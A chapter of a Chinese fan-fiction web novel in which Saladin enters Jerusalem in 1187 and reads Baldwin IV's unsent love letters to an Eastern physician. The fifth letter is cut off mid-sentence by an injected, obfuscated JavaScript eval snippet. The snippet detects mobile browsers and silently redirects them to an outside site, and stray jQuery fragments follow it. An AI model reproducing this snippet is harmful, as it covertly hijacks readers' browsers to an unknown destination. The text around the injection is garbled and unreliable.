33. 未竟之寻
作品:《[天国王朝]天国骑士》 哈丁荒原的硝烟完全散去。
1187年7月,萨拉丁的铁骑碾碎了十字军王国。真十字架的圣物跌落尘埃,狂徒雷纳德的头颅滚落,国王居伊也成了阶下囚徒。
萨拉丁秉着“王不杀王”的原则,饶恕了居伊的性命。
通往圣城的道路已无阻碍。
大军兵临耶路撒冷城下时,萨拉丁没有急于挥下屠刀。他派出使者,给出了堪称奇迹的宽容条件。基督徒可缴纳赎金后自由离开,妇女儿童免于沦为奴隶的命运,圣墓教堂依然归基督徒管理。
1187年10,圣城耶路撒冷的大门,在萨拉丁面前缓缓开启。没有烧杀抢掠,没有血海尸山。他骑着骏马,在精锐卫队的簇拥下,踏入了这座象征着纷争与信仰的城市。
街道两旁,是紧闭的门窗,是死一般的寂静,只有马蹄踏在古老石板路上发出的回响。空气中有灰尘、汗味,还有尘埃落定的沉重感。
他走过哭墙,走过苦路,走过圣墓教堂,圣城的每一处角落,都残留着那个戴着银面具君王的气息。他们是敌人,却也是彼此心中唯一承认的,值得平等对话的对手。
萨拉丁的眼中没有征服的狂喜,只有对命运无常的喟叹。
耶路撒冷,这座汇聚了三大宗教血脉与灵魂的城市,经历了太多的血与火,有过太多信仰与背叛,此刻在他脚下,显得如此疲惫苍老。
他驱使着战马径直去往王宫,那里早已经人去楼空,侍卫们迅速控制了各处,他目标明确地走向寝宫深处。
萨拉丁的目光扫过每一个角落,最终停留在一张靠窗的书桌上。
桌上蒙着一层薄薄的灰,却有两样东西异常醒目。
一样是一个小巧的闪烁着奇异冷光的金属盒子,里面是微量细腻的白色粉末,他知道这是什么——据他的探子曾经带回来的消息,这些白色粉末是那位东方女医师的“神药”,它曾将濒死的鲍德温四世数次从死神手中夺过。
除了“神药”外的另一样东西,是一个雕刻十字架纹样的檀木匣,他拂去盒盖上的灰尘,轻轻打开了它。
里面是厚厚一叠用细绳捆扎好的羊皮纸信件。每一封信的信首都用拉丁文或法文写着同一个名字……是那个东方女医师的名字,莉莉。
他沉默地解开了细绳,一封封地抽出来阅读。
时间仿佛凝固了,寝宫里只剩下羊皮纸摩擦的沙沙声和他越来越沉重的呼吸声。
信中的情感是深沉而绝望,充满了对一个无法触碰之人的眷恋、卑微、祈求和控诉命运的不甘。
第一封信的字迹尚显流畅有力:
【……今日你为年轻的侍从处理伤口,动作迅捷如飞鸟。你专注的侧脸在阳光下,竟让我想起幼时在阿什凯隆海滩看到的晨光,纯净且充满生机。你似乎来自于遥远的东方,那应该是我此生注定无法抵达的国度。我时常在病痛的间隙幻想,若非这面具和这具日渐腐朽的躯壳,我是否……有哪怕一丝资格,能够与你去到你的故乡,去看看那个东方的神秘国度。——于仲夏之节,痛楚稍歇。】
第二封信的字迹开始颤抖,墨迹深浅不一:
【……昨夜高烧不退,每一次在混沌中挣扎着睁开眼,看到你守在榻前,这便是我在这无边黑暗与绝望中唯一的锚点了。我希望你的手指能够拂过我早已失去知觉的手臂,使我感受到微弱的暖流,这样的想法荒谬至极,却又是我苟延残喘中唯一的期盼和慰藉。原谅我的软弱,竟在信中向你祈求这虚幻的温暖。——于酷暑难当,蝉鸣刺耳的深夜。】
第三封信,字迹虚弱,断断续续:
【无需悲伤,我的医师。我的沙漏即将流尽。这些信……它们是我无法宣之于口的懦弱与奢望,是我在这囚笼般的生命中,唯一真正属于自己的东西。我从未奢求过你的回应,只愿它们存在过,证明有曾经一个戴着面具,被诅咒的,你不知其面容的残废国王,他的胸膛里也曾有过……如此鲜活而绝望的渴望。愿你平安,无论你最终去往何方。——于麻风撕裂意识的边缘。】
第四封信,字迹歪斜,墨点晕染,似有泪痕:
【……今日疼痛稍缓,得以坐起片刻。窗外有飞鸟掠过蓝天,我想摘下面具,在阳光下,像一个真正的男人那样,站在你面前,哪怕只有一次。我也时常想,若给我一次重来的机会,一个健康的身体,在一个没有战争,没有这可怕疾病的时空……我是否能有勇气,握住你的手?这念头如此奢侈,却是我黑暗中的光。——于一个短暂平静的午后。】
第五封信,字迹几乎难以辨认:
【……教父告诉我,麻风病是罪孽的惩罚,死后灵魂恐将坠入地狱之火。若果真如此,我甘愿承受。但……若上帝还有一丝怜悯,若地狱的烈焰烧不尽我灵魂深处这一点点卑微的念想……我祈求,祈求在某个来世,在某个没有病痛、没有诅咒、没有这沉重王冠的地方……我能再次遇见你。那时的我,会是一个健康的、完整的男人,可以自由地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127254|180110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呼吸,自由地……看着你的眼睛。这祈求是否太过贪婪?——也许是诀别之语。】
第六封信件,未完成,字迹只写了开头几行:
【……昨夜梦见一片开满白色花朵的山谷……阳光温暖……没有面具……没有疼痛。你站在花丛中……回头对我微笑……笑容如此真实……醒来时……枕畔却只有泪痕。如果……如果……那不是梦,而是……一瞥来生的景象……我愿用……换取……在那山谷中……与你……相伴的……哪怕……】——信件上的字迹到此戛然而止。
萨拉丁一封封地翻看着,沉重地叹了口气。
“她人呢?那位东方医师。”萨拉丁转身问向身后肃立的副官。
副官恭敬地低头,惋惜说道:“那位女医师……耶路撒冷王离世的那一天,就消失了。如同人间蒸发,没有留下任何线索。有人说她因悲痛过度,追随国王的灵魂而去;有人说她使用了东方的神秘法术,回到了她遥远的故乡。宫廷对外宣称她……忧伤成疾,病逝了。在圣墓教堂的墓园里,有一座她的衣冠冢。”
“衣冠冢……”萨拉丁重复着这个词,沉默良久,他缓缓开口:“将这两样东西……仔细收好。送到圣墓教堂墓园……她的墓穴之中。让它们……陪伴她吧。”
“遵命,苏丹。”副官捧起那金属药盒和装满信件的木盒,躬身退下。
萨拉丁独自一人,离开了空旷得令人心悸的王宫。
他屏退了大部分随从,只带了两名最忠诚的亲卫,默默登上了耶路撒冷的高处——橄榄山。
夕阳的余晖正奋力燃烧,将圣城染成悲怆的金红。清真寺的圆顶、圣墓教堂的尖塔、古老城墙的外壁……全都沐浴在苍凉的光辉之中。
“耶路撒冷……”他呢喃低语,“多少人曾为你流尽最后一滴血,多少君王曾为你戴上染血的冠冕。耶路撒冷……我来了,我看见了,我征服了……我甚至拥有了你。然而,真正的胜利又是什么?是占有这些见证了无数悲欢离合的冰冷石头,还是……哎……”
“鲍德温四世……你守护不了你的王国,如同我或许也终将无法永远占有这座圣城。”
萨拉丁喟叹,“圣城从不真正属于任何人,它只属于信仰本身,属于无情的时光,属于那些终归于永恒沉寂的拥有信仰的灵魂。”
夕阳彻底沉入地平线,阴影笼罩了整座耶路撒冷,也笼罩了萨拉丁。
而胜利王冠上,也将永远带着对命运喟叹的微凉。